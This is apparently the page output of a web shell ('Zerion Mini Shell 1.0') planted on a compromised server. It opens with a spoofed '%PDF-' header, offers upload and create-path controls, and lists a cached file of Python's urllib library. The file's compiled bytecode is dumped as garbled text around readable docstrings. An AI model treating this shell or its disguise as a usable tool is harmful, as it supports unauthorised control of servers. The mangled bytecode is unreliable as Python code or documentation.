%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/urllib/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/urllib/__pycache__/response.cpython-38.pyc

U

pa@s^dZddlZddddgZGdddejZGdddeZGd	ddeZGd
ddeZdS)aResponse classes used by urllib.

The base class, addbase, defines a minimal file-like interface,
including read() and readline().  The typical response object is an
addinfourl instance, which defines an info() method that returns
headers and a geturl() method that returns the url.
Naddbaseaddclosehookaddinfo
addinfourlcs8eZdZdZfddZddZddZdd	ZZS)
rzOBase class for addinfo and addclosehook. Is a good idea for garbage collection.cs tt|j|ddd||_dS)Nz<urllib response>F)delete)superr__init__fp)selfr		__class__+/usr/local/lib/python3.8/urllib/response.pyrszaddbase.__init__cCsd|jjt||jfS)Nz<%s at %r whose fp = %r>)r__name__idfiler
r
r
r__repr__szaddbase.__repr__cCs|jjrtd|S)NzI/O operation on closed file)r	closed
ValueErrorrr
r
r	__enter__szaddbase.__enter__cCs|dSN)close)r
typevalue	tracebackr
r
r__exit__!szaddbase.__exit__)	r
__module____qualname____doc__rrrr
__classcell__r
r
rrrs
cs,eZdZdZfddZfddZZS)rz*Class to add a close hook to an open file.cs tt||||_||_dSr)rrr	closehookhookargs)r
r	r!r"rr
rr(szaddclosehook.__init__c	s>z(|j}|j}|r&d|_d|_||W5tt|XdSr)rrrr!r")r
r!r"rr
rr-szaddclosehook.close)rrrrrrr r
r
rrr%scs(eZdZdZfddZddZZS)rz.class to add an info() method to an open file.cstt||||_dSr)rrrheaders)r
r	r#rr
rr<szaddinfo.__init__cCs|jSr)r#rr
r
rinfo@szaddinfo.info)rrrrrr$r r
r
rrr9scs2eZdZdZd	fdd	ZddZddZZS)
rz9class to add info() and geturl() methods to an open file.Ncs"tt|||||_||_dSr)rrrurlcode)r
r	r#r%r&rr
rrGszaddinfourl.__init__cCs|jSr)r&rr
r
rgetcodeLszaddinfourl.getcodecCs|jSr)r%rr
r
rgeturlOszaddinfourl.geturl)N)rrrrrr'r(r r
r
rrrDs)rtempfile__all___TemporaryFileWrapperrrrrr
r
r
r<module>s

Zerion Mini Shell 1.0